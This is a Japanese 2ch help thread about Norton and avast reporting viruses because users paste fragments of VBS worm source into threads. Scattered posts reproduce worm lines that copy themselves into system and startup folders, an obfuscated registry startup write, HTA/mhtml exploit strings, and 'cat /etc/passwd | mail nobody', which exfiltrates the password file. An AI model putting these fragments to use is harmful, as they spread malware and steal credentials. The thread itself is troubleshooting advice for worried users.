ノートンがvbsウィルスのソースに誤反応３->画像>6枚

只今2chでvbsのウィルスのソースを貼りノートンなどのセキュリティツールを誤反応させるのが流行っています。
あまりにも質問スレなどで既出の（このvbsの）質問が多すぎるのでこのスレへURLを貼って誘導してください。
また新たなパターンのvbsが見つかったら一応このスレで報告願えると幸いです。

■この問題について■
2chのスレにvbsウィルスのソースを書き込むことによってブラウザがそのスレのhtmlファイルをダウンロードする際に
ウィルスのパターンと一致するので、ウィルスが検出されたとノートン先生などが騒ぎます。（設定によっては反応しないこともありますが、全く問題ありません）
ご存知の通り、htmlを読んでもこのvbsのソースは実行されることは無いので、全く問題ありません。
また、デフォルトだとIEはInternet Temporary Filesフォルダにhtmlをダウンロードしますので、感染ファイルはここのhtmlファイルにになります。
これらのファイルは削除しても全く問題ありませんが、該当スレを読み直すとまたvbsのソース付きhtmlがダウンロードされてしまうので警告が出ます。

■まとめと対策■
２ちゃんねる見ていたらvbsウィルスが検出された！
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq12
2ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか？
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq08
2chブラウザのログ保存フォルダを「除外」に設定。
NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。

前スレ
ノートンがvbsウィルスのソースに誤反応
http://pc.2ch.net/test/read.cgi/sec/1025872269/
ノートンがvbsウィルスのソースに誤反応２
http://pc5.2ch.net/test/read.cgi/pcqa/1033948204/

テンプレ>>1-10あたり

■既知のvbsウィルスのソース■

・VBS.Internal
出元はhttp://tmp.2ch.net/test/read.cgi/download/1025717301/197だと思われる。
ﾀﾞｳｿ板からいろんな板へ飛び火した模様。

・VBS.LoveLetter.A
ｃ．Ｃｏｐｙ（ｄｉｒｓｙｓｔｅｍ＆”ＬＯＶＥ−ＬＥＴＴＥＲ−ＦＯＲ−ＹＯＵ．ＴＸＴ．ｖｂｓ
（反応しないように全角で書いてあります）出元不明。ニュー速から？

一般論として「htm」「html」拡張子などを安易に検索対象から外すことは奨励されません。これを感染ターゲットにするウィルスが数種確認されています。
http://www.symantec.com/region/jp/sarcj/data/v/vbs.internal.html


Ｑ．ウイルスコードが貼られているのにノートン反応しない。。。

Ａ．ウイルスコードが貼られている２ちゃんねるのスレをテストページとして使用するのは奨励されない。
なぜなら、ここで言われているノートンの反応は単なる掲示板とスキャンエンジンの「仕様の衝突」であり、
これからも同じページを見ればその都度反応するという保証がないから。
仕様というものは、ある時突然変更されたりするもの。

ネットサーフィン中のウイルス対策ソフトの常駐動作確認は、テスト用に作られたEICARテストファイルにアクセスして行うべき。

EICARテストファイル（正常に常駐していればURLにアクセスと同時に反応します）
http://www.eicar.org/download/eicar.com.txt

補足ありましたらお願いします。

ニャンです

Ｑ．２ちゃんねるの板開いただけで反応します。

Ａ．スレッドタイトルにウイルスコードが貼られていることがあり、それに反応しています。
２ちゃんねるブラウザの場合、ログ保存フォルダの他にスレタイ・既読スレ履歴等を保存しているファイルやフォルダを除外。
各２ちゃんねるブラウザによってスレタイ・既読スレ履歴等を保存しているファイルやフォルダが異なるようなので
特定のドライブ、フォルダ、ファイルをウイルススキャンの対象から除外する方法
http://service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/7c3ff4677729271685256c470046ed2e/d9265b84ded9587488256b0400811ff7
↑を参考にお使いの２ちゃんねるブラウザのスレでお聞きください。
NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq08

その他リンク＠２ちゃんねる検索

エロサイト見たら…助けて下さい！
http://find.2ch.net/?STR=%A5%A8%A5%ED%A5%B5%A5%A4%A5%C8%B8%AB%A4%BF%A4%E9+%BD%F5%A4%B1%A4%C6%B2%BC%A4%B5%A4%A4+board%3APC%BD%E9%BF%B4%BC%D4&COUNT=50&TYPE=TITLE&BBS=ALL

パソコン初心者総合質問スレッド
http://find.2ch.net/?STR=%A5%D1%A5%BD%A5%B3%A5%F3%BD%E9%BF%B4%BC%D4%C1%ED%B9%E7%BC%C1%CC%E4%A5%B9%A5%EC%A5%C3%A5%C9+board%3APC%BD%E9%BF%B4%BC%D4&COUNT=50&TYPE=TITLE&BBS=ALL

セキュリティ初心者質問スレッド
http://find.2ch.net/?STR=%A5%BB%A5%AD%A5%E5%A5%EA%A5%C6%A5%A3%BD%E9%BF%B4%BC%D4%BC%C1%CC%E4%A5%B9%A5%EC%A5%C3%A5%C9+board%3A%A5%BB%A5%AD%A5%E5%A5%EA%A5%C6%A5%A3&COUNT=50&TYPE=TITLE&BBS=ALL

２ちゃんねるに貼られたウイルスコードに誤反応していたことがわかったら

インターネットエクスプローラの場合
ツール→インターネットオプション→インターネット一時ファイル、ファイルの削除
これをしないでウイルススキャンしたらインターネット一時ファイル（Temporary Internet Filesフォルダ）でウイルス反応がでます。
また、該当レスを再び読み込むとウイルス反応がでます。
２ちゃんねるブラウザを使って以下の設定をして２ちゃんねるを見ましょう。

２ちゃんねるブラウザの場合
2ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか？
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq08
2chブラウザのログ保存フォルダを「除外」に設定。
NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。

よろ
kak.hta';ken=wdt'START
ms-its:mhtml:file://c:\

>>11
既出。
Wscript.KaｋWorm
http://pc5.2ch.net/test/read.cgi/pcqa/1033948204/946
Bloodhound.Exploit.6
http://pc5.2ch.net/test/read.cgi/pcqa/1033948204/932

http://c-au.2ch.net/test/-/pcqa/1033948204/928
このウイルスを解説してください

DAT落ち阻止て神戸♪


>>13
VBS.LoveLetter.Var
http://pc5.2ch.net/test/read.cgi/pcqa/1033948204/928

ウイルスコードが貼られているのにノートン反応しないって人は>>2見てね。

ありがとう
しかしラブレター１個だけではないはず。
カーネルやネットワークも入っている。
一つ一つ解説してください。

c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail [email protected]
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"


↑こういうのって最初に気づいた奴って天才だよな

あ。そうそう。
>>16 みたいなスクリプトを誤反応しないような、datファイルに
datを作り変えるプログラム作ってみました。
よかったら使ってみてください。
http://www.geocities.jp/cen_hp/index.html

あやすい・・・・・

>>18
自分のパソコンで何度も実行してますが、大丈夫ですよー。
さっき総質で見た、未対応のスクリプトに対応させました。

>>17,19
ご支援ありがとうございます。
http://ansitu.xrea.jp/guidance/?NortonInternetSecurity#faq08tool

ここの１の解説キボン
http://c-au.2ch.net/test/-/pcqa/1103598574/1

hoshu

未だにVIPの板更新すると、ノートン先生の逆鱗に触れてしまうオイラですが

2chのスレにvbsウィルスのソースを書き込むことによってブラウザがそのスレのhtmlファイルをダウンロードする際に
ウィルスのパターンと一致するので、ウィルスが検出されたとノートン先生などが騒ぎます。（設定によっては反応しないこともありますが、全く問題ありません）

らしいです、騒いでごめんなさい。
2chにかぎっては心配(ﾟ�听)ｲﾗﾈみたいです。

誤爆すいません

>>24
スレタイにウィルスコードが書いてある模様。

>>24
漏れもソレダ！！！
もう無視しまくりんぐｗｗｗｗｗｗｗ

ノートンなんか使ってんなよ　ハゲ

A Boneを使用してるのですが、ＰＣ初心者の上の「初心者の質問」板をクリックするだけで、ノートンがウイルスを検知してしまいます。

しかも板を開く事もできません。毎回そうなってしまいます。
昨日、システムをスキャンしたら確かに感染していました。「初心者の質問」板だけ毎回そうなります。
これは何でしょうか？

ぐはははははｗｗｗVIPもそうだよ

>>29
>>7見てね。

2ちゃんを普通に見ていただけなのにノートンから「ウィルス名は
Unix.Penguinで、ファイルを修復できません」と表示されてしまいました。何か対策は無いでしょうか？
ちなみに誤作動との見分け方はありますか？

Open Janeをでスレを見てたらウィルスコードが張られてて
ウィルス警告が出てファイルが修復出来ませんとでました。
ウィルスコードをNGワードに入れたら、NGワードが全部消えて
デスクトップにあるNGWordtxtというアイコンを削除しようとすると
やはりウィルス警告が出て削除できません。
スキャンをするとあるファイルの所まで来ると電源が切れてしまいます。
ウィルス名は「Bloodhound.Exploit6」と出るのですが、どうしたらいいでしょうか･･･。

すみません。
１つは解決しましたがスキャンすると電源が落ちるのは直りませんので
これは他のスレで聞いてみます

なんだ、最近多いと思ってたがウィルスコードのせいだったのか。
しかしこれってあぼーんされないのかな。
とりあえずここみて安心した。ありがと。

Norton Anti Virusと使ってます。
ウイルス、Unix PenguinをNGワードに登録するには
どんな単語をNGワードにすればいいんですか？

Unix Penguinと反応するスレ内見てもそれらしい書き込みがないので分かりません。

>>38
NGワードに登録するんではなく
Norton Anti VirusのオプションのAuto-Protectと手動スキャンでログフォルダを除外に指定しる

>>39
いや、それはやってるんですけど、反応するんです。
多分、キャッシュフォルダの方も除外指定にしないとだめっぽいです。
でも、それはセキュリティー的によくないってどっかに書いてあったんで、
NGワードに登録したいんですけど、できないんでしょうか？

>>40
2ちゃんねるブラウザのログフォルダを除外にしても2ちゃんねるブラウザで閲覧中に反応するの？

>>41
そうです。Norton Anti VirusとLive2chの組み合わせでAnti Virusの設定で
Live2chのログフォルダは除外に設定してます。
でも、Live2chで見てるとUnix Penguinだけ反応します。

>>42
設定パス間違えてない？

これはどうだ？

fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

ms-its:mhtml:file://c:\　cat /etc/passwd | mail nobody　kak.hta';ken=wd+'START

と思ったら、VBS.Network.Eとかいうのも反応しっちゃってるよｗｗｗ
どういうこと？

それでええんや。

http://pc8.2ch.net/test/read.cgi/pcqa/1109609938/43

>>43
いや、間違えてないと思います。
なんか他のウイルスにも反応してる。。。Network.E。

>>49
いやいや、間違えてるんだろ？

>>50
いや、C\ProgramFiles\Live2ch\logになってるからあってると思います。

>>51
除外に設定する時にサブフォルダも含めるにチェック入れた？

もう戻ってきません。

>>53
チェック入ってます。

>>56　もうシマンテックに聞きなさい

>>58
了解ｗ
ありがとうございました

画像板から誘導されてきました。
「2chブラウザのログ保存フォルダを「除外」に設定」
というのはどうやってやるんでしょうか？
壺を使ってます。

初心者すぎてすいません。どなたかよろしくお願いいたします。

>>60
テンプレに書いてあるだろ

Norton Anti VirusのAuto-Protectと手動スキャンで壺フォルダを除外に指定しても、壺で閲覧中に反応します。
よくわかりません・・・orz

↑
６０です

今まで書き込めなかったのはノートン先生の仕業だったのか
このスレのおかげで助かりました

マカフィーで反応

駆除も削除も出来ないんだけどほっといていいのですか？

>>66
自分もそうなるよ。

すいません、ノートンAV2005なんですが、Janeのログを除外に設定したいんですが
AV2005のオプションを開いても「除外」っていう項目が無いのですけど
どうすれば設定できるのですか？
ご指導、お願い致します。

sagase

大空寺あゆ親衛隊対策

（1）タスクトレイに入っているNorton AntiVirusのアイコンを右クリック
（2）「Norton AntiVirusの設定」をクリック
（3）左側にある「Auto-Protect」をクリック
（4）その下に出てきた「除外」をクリック
（5）「除外する項目」の「新規」をクリック
（6）「C:\Program Files\Live2ch\log」（Live2chの場合）と入力し、「サブフォルダも含める」にチェックを入れ、「OK」をクリック
（7）左側にある「Auto-Protect」をクリック
（8）（4）〜（6）をもう一度繰り返す
（9）設定画面が消えるまで「OK」をクリックする

ちゃんと2ch.netとAuto-Protectと手動スキャンで除外設定しましたが
VBS.Internalがしつこく警告ストロムしてきます
他に必要な手順はありますか？

ウイルス対策ソフトの検出力調査結果
http://www.geocities.jp/stealrush/security.html

http://news18.2ch.net/test/read.cgi/anime/1114540249/の
>>17の奴のウイルスってどうやって除外するんですか？本気でむかつきます

>>71
初心者はテンプレ読んでも何を言っているのかが分からなかったりするので
こういう細かい解説、感謝します。
っていうか大空寺死んで欲しい。(´･ω･`)

>>77
透明あぼーんで存在を消し去りましょう。スッキリするよ

>>78
透明あぼーんではノートンの反応はおさまらなかったんです。
なにやらメール欄に変なものを書き込んでいるようで。

>>79
>>17のを使うと、メール欄のものでも消し去ります。

>>79
>>71の手順でノートンの誤反応を解消し、専ブラの透明あぼーんで
糞コテやウイルス厨を見えなくするって意味。
分かりにくくてｽﾏｿ

>>80
>>81
いろいろとありがとうございました。
あいつら（大空寺とかネオとか）どうにかならないもんですかね…

XPにはNorton AntiVirusインストールできたのに、９８にはできない。
９８のウイルススキャン（無償）で感染ファイル３５ってでたけど
これをどうすればいいの？

Live2chでUnixPenguinがうざい場合
（1）タスクトレイに入っているNorton AntiVirusのアイコンを右クリック
（2）「Norton AntiVirusの設定」をクリック
（3）左側にある「Auto-Protect」をクリック
（4）その下に出てきた「除外」をクリック
（5）「除外する項目」の「新規」をクリック
（6）「C:\Program Files\Live2ch\log」と入力し、「サブフォルダも含める」にチェックを入れ、「OK」をクリック
（6）「C:\Program Files\Live2ch\temp.htm」も追加する。
（7）左側にある「Auto-Protect」をクリック
（8）（4）〜（6）をもう一度繰り返す
（9）設定画面が消えるまで「OK」をクリックする

あ、そうそう。
>>17のプログラムを更新しましたです。

その他→脅威カテゴリでも「除外」が出てくるけどここは設定しなくていいの？
って、脅威カテゴリで何をしてくれるのかのかよくわからない。（NIS2005）


>>71 >>84
＞（7）左側にある「Auto-Protect」をクリック

（7）左側にある「手動スキャン」をクリック　・・・じゃないのかな。

大体、「除外」する項目をAuto-Protectと手動スキャンで
分けている理由がわからない。NIS2002の設定は簡単だった。

http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8

cat /etc/passwd | mail nobody
これが反応するのか？

>>89
見事にUnixPenguinと判定してくれた

f

>>84

Live2chでUnixPenguinがうざい場合

IEでうざい場合はどうすればよろしいのでしょうか？？？？？

>>92
IEで2ちゃん見るなよ。

>>93

え？？？
ダメなんですか？？？

すみません・・・
初心者なもので・・・

詳しく教えていただけませんか・・・

>>94
ダメじゃないけど、専用ブラウザのほうがずっと便利。
どこまで読んだかわかるし、ログはずっと残せるし、
新着分だけダウンロードするから速いし、軽いし。

>>95

ありがとうございます。
勉強になりました。

今日はウイルスが出てかなりテンパりました（苦笑）
また明日からがんばります！

でしつこいんですが、
IEでうざい場合はどうすればよろしいのでしょうか？

>>96
IEの一時フォルダを除外すれば警告は出なくなるが、
ほかのサイトで感染してしまう。

勇気が無くて見られない画像解説スレ Part702
http://etc3.2ch.net/test/read.cgi/entrance/1116419123/
すいません、↑のスレッドをLive2chで開いただけで

発生源：C:\Documents and Settings\kousuke\Local Settings
\Temporary Internet Files\Content.IE5\MVAP076F\woid[1].jpg
Trojan Horse
とか出るんですけど、誤反応ですか？
vbsのウィルスコードと大空寺のメール蘭攻撃は
除外しているはずなんですが。
ありえないとは思いますがて開いただけで感染したんですか？
Trojan Horse
ウィルス名:
Trojan Horse
別名:
感染場所:
.EXE ファイル

>>98
そのファイルはjpgじゃなくて、exeということらしい。
誤反応ではなくて、本物。
スレを開いただけでは感染しないけど、
その画像ファイルをIEで開くと感染する可能性がある。

>>99
おそらく原因のレスは
http://etc3.2ch.net/test/read.cgi/entrance/1116419123/899-
だと思いますが、これ画像そのものはクリックしてないんですが
ただスレッドを開いた瞬間ノートン先生が激しく怒ったｽ
ログを見ても
アクセスが拒否されました。
修復できませんでした。
としか出てません。
最新のウィルス定義ファイルを落とさないと駆除できないみたいですが、
これは最近のということでしょうか？
そして、今自分のPCにTemporary Internet Filesや
他の場所にウィルスが潜伏してるということはないんでしょうか？それを開くとアウツみたいな。

>>100
そこの899だよ。
でも、ノートンが隔離してるはず。
そうでなくても、IEの一時ファイルをクリアして、ごみ箱を空にするだけでいい。

>>101
レスサンクス
この.jpgブラクラは最近登場したんでしょうか
これからまた誤反応する人とかいっぱいでるんでしょうか

>>102
だから、誤反応じゃないって言ってるのに。

モノホン反応ですか、ノートン使ってる人は
反応でますよね？どうするんでしょうかこれ

あ、ノートン使ってても
画像ポップアップ有効にしてないと意味ないのか

>>104
Q.画像プレビューや画像ポップアップでアンチウィルスソフトが反応する事がある
A.画像プレビューも画像ポップアップもイメージタグで表示するだけなので、
　仮にそれがウイルスだったとしても、あくまで画像として処理され、
　ウイルスのコードが実行される事はないので安全。気にする事なし。

>>106
サンクス、どうもでした(=ﾟωﾟ)ﾉｼｭ

テスト

ms-its:mhtml:file://c:\
kak.hta';ken=wdt'START

この二つに激しくノートンが反応するんですが
これも誤反応ですか？vbsとは違う種類みたいですが

>>109
誤反応
ただの文字列では何も出来ない。

>>110
sankusu

>>109

age

すみません。初心者スレッドから誘導されてきました。

このスレに来る時もそうでしたが、あるスレに行くと
ノートンが反応して「修復できません」と表示されます。
結果「Bloodhound.Exploit.6」を検疫することで
通常の状態に戻るようなのですが、
「Bloodhound.Exploit.6」ファイルを検疫項目の中から
右クリックで削除してもよいものでしょうか？

どなたか教えてください。お願いいたします。

まず専ブラ入れれ

>>115
はい。検討します。これ↓

「Bloodhound.Exploit.6」ファイルを検疫項目の中から
右クリックで削除してもよいものでしょうか？

についてはどうでしょうか？

それはすべきじゃないから
専ブラ入れてからログのフォルダを除外設定にするのよ
このへんよめ
http://www.sannet.ne.jp/storage/exclude/norton.html

>>117
なるほど、そうですか。
どうもありがとうございました。

青空さんは山田砲撃たれたことないの
もういっぺん感染してほしいの

>>117
>114と同様の警告がでます。
どういったウイルスなのでしょうか。

http://tmp5.2ch.net/test/read.cgi/mog2/1116912441/ >>4
で拾ったようなのですが

スレ違いだったらごめんなさい。

>>120
http://www.google.co.jp/search?hl=ja&q=Bloodhound.Exploit.6&lr=lang_ja

専ブラはJane派生系使ってます

>>121
ありがとうございます。m(__)m

先日脳豚先生が誤動作したんだけど、そんときに「Bloodhound.Exploit.6」
ってのが誤検出されたんだが、誤検出だっつってんのに
納得しないやからがいる。

どっかで↑みたいなのが検出されても誤動作だって
わかるように解説してるページない？

>>1

UnixPenguinと言う名のウィルスが5/6に感染していた事が先ほどわかり
ファイルを削除　しかしパソを再起動したらそのファイルがありました
ファイルを削除したら普通消えるのでは？
5/6に感染してたって事は、20日以上気づかないで放置って事は・・・ﾔﾊﾞｲ？

>>126
まさか「誤反応」の意味がわからない？

誤反応？？？まじで？
アタッマきたんでまたファイル消したら完全にファイル消えたよｗ

(･∀･)ｽﾝｽﾝｽｰﾝ♪

( ﾟдﾟ)ﾊｯ!

とあるスレを見ようとするとノートン先生が反応します。
ウィルス「MHTML Redir.Exploit」
実害は無い感じなので
反応したと思われるlogを削除しただけですが
これもまた誤反応なのでしょうか？

ちなみにギコなびを使っています。

失礼します。
IEを使用していますが、板や特定スレを開くとウイルス反応がでます。
削除しようとしても削除できないため、除外しておいていますが
問題はないんでしょうか？
削除も検疫など有効と思われることが出来ないのでしょうがなく
除外している状態です。上の方で削除のことがでてますが削除しないと問題ありますか。

>>133
多分ウイルスに似たコードを載せている為にウイルスと誤認識して反応しているだけですよ。

なんだか>>40と同じ症状です。

症状というのは【Unix Penguin】というウイルスコードが最近になって反応するようになりました。
専ブラのフォルダはサブフォルダ含めてAuto-Protectと手動スキャンの除外項目に確実に入っています。
その為、その場所は反応しないのですが一時ファイル（キャッシュ）の場所が反応しています。
一時フォルダも除外指定すれば簡単なんですけど、他のサイト閲覧する時とか
安置ウイルスの役割してくれないらしいので除外したくありません。
今まで一時ファイルは反応しなかったのに今更反応するのが、どうしてなのか分かりません。

専ブラはJANE使用。Norton AntiVirusは10.0.10.13ｇバージョン使用。
因みにOSはXPのHOMEです。アドバイスおねがいします。

>>134
レスありがとうございます。
Auto-Protectでひっかかるんですが>>39を読むと除外でも
問題なさそうですね・・・？大丈夫かな。
ただ>>135を読むと除外もよくないみたいでどうしたらいいのかとも思う。

>>135
> なんだか>>40と同じ症状です。
> 症状というのは【Unix Penguin】というウイルスコードが最近になって反応するようになりました。
> 専ブラのフォルダはサブフォルダ含めてAuto-Protectと手動スキャンの除外項目に確実に入っています。

スレッドタイトルに反応したんじゃないかな。
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq08

Janeの場合はfavorites.dat
ε三（; ･∀･）鯖ﾏﾃﾞｵﾂｶｲの場合result.datを除外に加えてね。


> その為、その場所は反応しないのですが一時ファイル（キャッシュ）の場所が反応しています。
> 一時フォルダも除外指定すれば簡単なんですけど、他のサイト閲覧する時とか
> 安置ウイルスの役割してくれないらしいので除外したくありません。
> 今まで一時ファイルは反応しなかったのに今更反応するのが、どうしてなのか分かりません。
> 専ブラはJANE使用。Norton AntiVirusは10.0.10.13ｇバージョン使用。
> 因みにOSはXPのHOMEです。アドバイスおねがいします。

ブラウザでスレを開いたんじゃないかな。
>>10で一時ファイルの削除の仕方があるので見てね。


>>136
IEの一時ファイルを除外にしないで
2ちゃんねるブラウザのログフォルダを除外にしてください。


>>135>>136
2ちゃんねるブラウザのより細かい設定はそれぞれの2ちゃんねるブラウザのスレで確認してね。
ソフトウェア
http://pc8.2ch.net/software/

初歩的な質問なんですが教えてもらえませんか？
何故ノートンだけが反応するんですか？
ノートンで反応したファイルを消さず、ウィルスバスターに反応するか試しましたが、反応なしでした。
【Unix Penguin】は、ウィルスなんですよね？
なのに何故・・・？

先生はよく間違えますが本物を逃すこともありません

>>138
ノートﾝは、ごく一部の文字列がファイルに含まれてるだけでウイルスと診断してるから。
判定の手抜きと言っていい。
もちろん、２ちゃんのログがウイルスとして機能する可能性は皆無。

>>140
レスありがとう
それにしてもこんなイタズラいったい誰が・・・

>>131
まったく同じような症状がでます。
自分はブラウザをjaneを使っているんですが、
ノートンのオンラインスキャンをすると、
C:...\openjanedoe-0.1.11.0\Logs\2ch\ネット関係\セキュリティ\数字.dat は
MHTMLRedir.Exploit に感染しています
と出ます。何度やっても。
これは感染しているのか？それとも誤反応なのか？
物凄い不安です。ノートン以外では反応しないので。

>>142
>>17のでdatのスクリプトを無効化してみるといいかもです。

除外をログフォルダだけじゃなく、C\ProgramFile\Live2chにしたんだけど
危険かなぁー。

>>144
ログだけにしといた方がいい

わぁ、それらしいレスの内容をメモ帳に貼り付けて保存した瞬間、ノートン先生に持ってかれちゃったよぅ！

http://www.uploda.org/file/uporg121567.wmv

147誤爆ですごめんなさい

age

ノートパソコンなんですが、キーボードの隙間にゴミが入ってキーが押しにくくなって困る

パソコンの電源入れると最初にseeqという検索サイトが出る
ようになっちまいました。以前はMSNだったんですけど、昔の体に
戻れますか？戻し方教えてください

>>151
スレ違いだけど、システムの復元で直前の日付に戻せ。

スレ違いですか、すみません。パソコン初心者なん
システムの復元ってどうやるんですか？

>>153
http://www.google.co.jp/search?hl=ja&q=%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0%E3%81%AE%E5%BE%A9%E5%85%83&lr=lang_ja

ありがとうございます　がｍばってみます

最近また急激に増えたな。
ウイルスバスターloveのやつらのしわざか？

ＯＳが２０００なんですけど…　復元できないみたいです

>>157
リカバリしろ

リカバリってお金出して修理みたいですね…

>>159
自分でできる。取扱説明書を150回嫁

読みます！
最近外国のサイトの広告みたいのが表示されることがあって…
リカバリでその辺も治りますか？

>>161
直る

>>161
基本的には、リカバリで買った時と同じ状態になる。
従って、データは全部消えるので、気をつけて。

ありがとうございました！
今度はデータのバックアップについて勉強しないといけなそうですね。
ちなみに何の広告なんですかねこれ↓
http://adserver.sharewareonline.com/AdServer/RegClean/Exact/landing_EAL.htm
ダウンロードしろって感じで頻繁に表示されるんです

このスレの最初のへん読めばわかるよ

>>166
あの。。。いろいろみましたけど専門用語ばかりでよくわかりません。
半年ROMはすでに経験墨です。
できたら詳細も教えていただきたいのですが。

>>167
ノートン捨てるんだ。

>>167
>7

普通に感染されてました。。。
検疫というのをしたら問題のファイルがどっかいったみたいです。

http://sakura01.bbspink.com/test/read.cgi/ascii/1118577161/
ここのウイルスコードで出来たスレタイをクリックしてから、
すべての板で書き込むたびに誤作動をおこします・・・・
それでここへたどりついたのですが、

＞NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。

これって具体的にどうすればいいのでしょうか？
・オートプロテクト
・除外
・除外する項目
とまでは出来たのですが、最後の「除外する項目」に何かを入れるのですか？
それとも項目を削除するのですか？
何を入れたらいいのか、何を削除すればいいのか教えてください・・・。

今現在の項目はこの３つです
*.dbx
*.nch
*.sysutem volume information

ライブ２ちゃん使用です。

>>171
ログのあるフォルダーのバスを追加する

>>172
よければ手順を・・・・まったく意味が分かりません・・・・

>>7を参考に、
Cドライブ→ﾌﾟﾛｸﾞﾗﾑ→ライブ２ちゃん→ログ
とういう感じでログをノートンの除外に選択したら、半角板を開いただけでノートンが反応することはなくなりました。
しかし、すべての板で書き込むたびにノートンが反応するっていうのは直りません。

どうすればいいですか？

「kakikomi」というのも除外に選択したらなおりました。おさがわせいたしました。

半角を踏んだらウイルス反応（誤作動）する方へ


専用ﾌﾞﾗｳｻﾞlive2chとﾉｰﾄﾝを使ってる方へ
http://sakura01.bbspink.com/test/read.cgi/ascii/1118594197/

てす

>>171-176
乙

ノートントラップ
http://ansitu.xrea.jp/guidance/?Trap#NortonTrap
Ｑ8．２ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか？
http://ansitu.xrea.jp/guidance/?NortonInternetSecurity#faq08

※スレタイがノートントラップのスレに書き込んだ場合、書き込み履歴も反応します。


2chWikiは申請中。

乙

ノートンがvbsウィルスのソースに誤反応、
ってスレタイにもあるけど、ビューア経由でも反応するんですか？
スレによっては、IEと使い分けてるんですが、ビューアで開いた時に
限って怒られるんです・・・。

ノートン捨てちゃえ

>>175
ウイルスを書き込んだのですか、ああ、そうですか。

>>176
ご回答ありがとうございます！助かりました（←大馬鹿）！

>>170
詳しく。
漏れも同じ症状でビビってる。

>>184
>>178

祭り中でーすｗ



韓国の小学生が描いた絵
http://society3.2ch.net/test/read.cgi/korea/1118763706/

脳豚を入れているユーザは２ちゃんを見ないようにしてください。

avast!入れてる貧乏人の俺はどうですか？

ウィルス注意↑
これ多分ウィルスですが、貼られたスレッドを開いただけでノートン反応します
これも>>98同様、誤反応ですよね？

(((((((( ；ﾟДﾟ)))))))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙｶﾞﾀｶﾞﾀﾌﾞﾙｶﾞﾀｶﾞｸｶﾞｸｶﾞｸｶﾞｸｶﾞｸ

http://pc8.2ch.net/test/read.cgi/sec/1118586631/5
Q. 2chのスレを2chブラウザで開くと、ウイルスを検出するんだけど
A. avast!はノートンと同じく、ウイルスコードも検出する。
ただのテキストのコードなのでウイルスに感染することはない悪戯行為だから気にしないで大丈夫。
誤検出しないようにするには、以下の2通りの方法がある。

・avast!の標準シールドの感度を [普通] に設定 or avast!の標準シールドの例外設定に2chブラウザのdatフォルダを設定
・2chブラウザでWebシールドを使わないように設定

http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq12



>>189
それだけではわかりません。
そのようなリンクを貼られるようなスレではノートントラップも貼られていたのかもしれませんし、
あなたがリンク（他にも同様な悪意あるリンク）を踏んでいて反応したのかも
